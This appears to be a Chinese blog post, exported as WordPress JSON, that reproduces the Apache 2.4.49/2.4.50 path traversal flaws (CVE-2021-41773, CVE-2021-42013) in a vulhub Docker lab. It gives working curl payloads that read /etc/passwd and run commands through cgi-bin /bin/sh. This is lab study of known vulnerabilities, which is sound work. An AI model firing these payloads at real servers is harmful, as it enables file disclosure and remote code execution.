{"id":620,"date":"2022-01-18T12:33:42","date_gmt":"2022-01-18T12:33:42","guid":{"rendered":"http:\/\/www.nokws.top\/?p=620"},"modified":"2022-01-18T13:00:48","modified_gmt":"2022-01-18T13:00:48","slug":"apache-http-server-2-4-49-lujingchuanyueloudongcve-2021-41773","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2022\/01\/18\/apache-http-server-2-4-49-lujingchuanyueloudongcve-2021-41773\/","title":{"rendered":"Apache HTTP Server 2.4.49\/50 \u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\uff08CVE-2021-41773\/42013\uff09"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Apache HTTP Server 2.4.49 \u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\uff08CVE-2021-41773\uff09<\/h2>\n\n\n\n<p>Apache HTTP Server\u662fApache\u57fa\u91d1\u4f1a\u5f00\u6e90\u7684\u4e00\u6b3e\u6d41\u884c\u7684HTTP\u670d\u52a1\u5668\u3002\u5728\u51762.4.49\u7248\u672c\u4e2d\uff0c\u5f15\u5165\u4e86\u4e00\u4e2a\u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\uff0c\u6ee1\u8db3\u4e0b\u9762\u4e24\u4e2a\u6761\u4ef6\u7684Apache\u670d\u52a1\u5668\u5c06\u4f1a\u53d7\u5230\u5f71\u54cd\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u7248\u672c\u7b49\u4e8e2.4.49<\/li><li>\u7a7f\u8d8a\u7684\u76ee\u5f55\u5141\u8bb8\u88ab\u8bbf\u95ee\uff0c\u6bd4\u5982\u914d\u7f6e\u4e86<code>&lt;Directory \/&gt;Require all granted&lt;\/Directory&gt;<\/code>\u3002\uff08\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u662f\u4e0d\u5141\u8bb8\u7684\uff09<\/li><\/ul>\n\n\n\n<p>\u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u8bfb\u53d6\u4f4d\u4e8eApache\u670d\u52a1\u5668Web\u76ee\u5f55\u4ee5\u5916\u7684\u5176\u4ed6\u6587\u4ef6\uff0c\u6216\u8005\u8bfb\u53d6Web\u76ee\u5f55\u4e2d\u7684\u811a\u672c\u6587\u4ef6\u6e90\u7801\uff0c\u6216\u8005\u5728\u5f00\u542f\u4e86cgi\u6216cgid\u7684\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/p>\n\n\n\n<p>\u53c2\u8003\u94fe\u63a5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/httpd.apache.org\/security\/vulnerabilities_24.html\">https:\/\/httpd.apache.org\/security\/vulnerabilities_24.html<\/a><\/li><li><a href=\"https:\/\/twitter.com\/ptswarm\/status\/1445376079548624899\">https:\/\/twitter.com\/ptswarm\/status\/1445376079548624899<\/a><\/li><li><a href=\"https:\/\/twitter.com\/HackerGautam\/status\/1445412108863041544\">https:\/\/twitter.com\/HackerGautam\/status\/1445412108863041544<\/a><\/li><li><a href=\"https:\/\/twitter.com\/snyff\/status\/1445565903161102344\">https:\/\/twitter.com\/snyff\/status\/1445565903161102344<\/a><\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-41773\/README.zh-cn.md#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83\"><\/a>\u6f0f\u6d1e\u73af\u5883<\/h2>\n\n\n\n<p>\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u7f16\u8bd1\u53ca\u8fd0\u884c\u4e00\u4e2a\u5b58\u5728\u6f0f\u6d1e\u7684Apache HTTPd 2.4.49\u7248\u672c\u670d\u52a1\u5668\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>docker-compose build\ndocker-compose up -d\n<\/code><\/pre>\n\n\n\n<p>\u73af\u5883\u542f\u52a8\u540e\uff0c\u8bbf\u95ee<code>http:\/\/your-ip:8080<\/code>\u5373\u53ef\u770b\u5230Apache\u9ed8\u8ba4\u7684<code>It works!<\/code>\u9875\u9762\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-41773\/README.zh-cn.md#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8\"><\/a>\u6f0f\u6d1e\u5229\u7528<\/h2>\n\n\n\n<p>\u4f7f\u7528\u5982\u4e0bCURL\u547d\u4ee4\u6765\u53d1\u9001Payload\uff08\u6ce8\u610f\u5176\u4e2d\u7684<code>\/icons\/<\/code>\u5fc5\u987b\u662f\u4e00\u4e2a\u5b58\u5728\u4e14\u53ef\u8bbf\u95ee\u7684\u76ee\u5f55\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -v --path-as-is http:\/\/your-ip:8080\/icons\/.%2e\/%2e%2e\/%2e%2e\/%2e%2e\/etc\/passwd\n<\/code><\/pre>\n\n\n\n<p>\u53ef\u89c1\uff0c\u6210\u529f\u8bfb\u53d6\u5230<code>\/etc\/passwd<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-41773\/1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/github.com\/vulhub\/vulhub\/raw\/master\/httpd\/CVE-2021-41773\/1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/github.com\/vulhub\/vulhub\/raw\/master\/httpd\/CVE-2021-41773\/1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/a><\/figure>\n\n\n\n<p>\u5728\u670d\u52a1\u7aef\u5f00\u542f\u4e86cgi\u6216cgid\u8fd9\u4e24\u4e2amod\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\u5c06\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -v --data \"echo;id\" 'http:\/\/your-ip:8080\/cgi-bin\/.%2e\/.%2e\/.%2e\/.%2e\/bin\/sh'<\/code><\/pre>\n\n\n\n<p>\u622a\u56fe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-621\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-35.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-35.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-622\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-36.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-36.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-623\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<p>\u5bf9curl \u7684\u53c2\u6570\u4e0d\u719f\u3002\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-41773\/README.zh-cn.md\">vulhub\/README.zh-cn.md at master \u00b7 vulhub\/vulhub (github.com)<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Apache HTTP Server 2.4.50 \u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\uff08CVE-2021-42013\uff09<\/h2>\n\n\n\n<p>\u5f00\u542f\u73af\u5883\uff0c\u6267\u884c\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -v --path-as-is http:\/\/your-ip:8080\/icons\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/etc\/passwd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-627\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-38.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-38.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-628\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -v --data \"echo;id\" 'http:\/\/your-ip:8080\/cgi-bin\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/\n\/bin\/sh'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"689\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2022\/01\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-629\"  sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/div><\/figure>\n\n\n\n<p>\u53c2\u8003\u94fe\u63a5<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-41773\/README.zh-cn.md\">vulhub\/README.zh-cn.md at master \u00b7 vulhub\/vulhub (github.com)<\/a> 2.49<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/httpd\/CVE-2021-42013\/README.zh-cn.md\">vulhub\/README.zh-cn.md at master \u00b7 vulhub\/vulhub (github.com)<\/a>2.50<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apache HTTP Server 2.4.49 \u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\uff08CVE-2021-41773\uff09 Apache [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-620","post","type-post","status-publish","format-standard","hentry","category-loudongfuxian"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/620","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=620"}],"version-history":[{"count":4,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/620\/revisions"}],"predecessor-version":[{"id":631,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/620\/revisions\/631"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=620"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=620"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=620"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}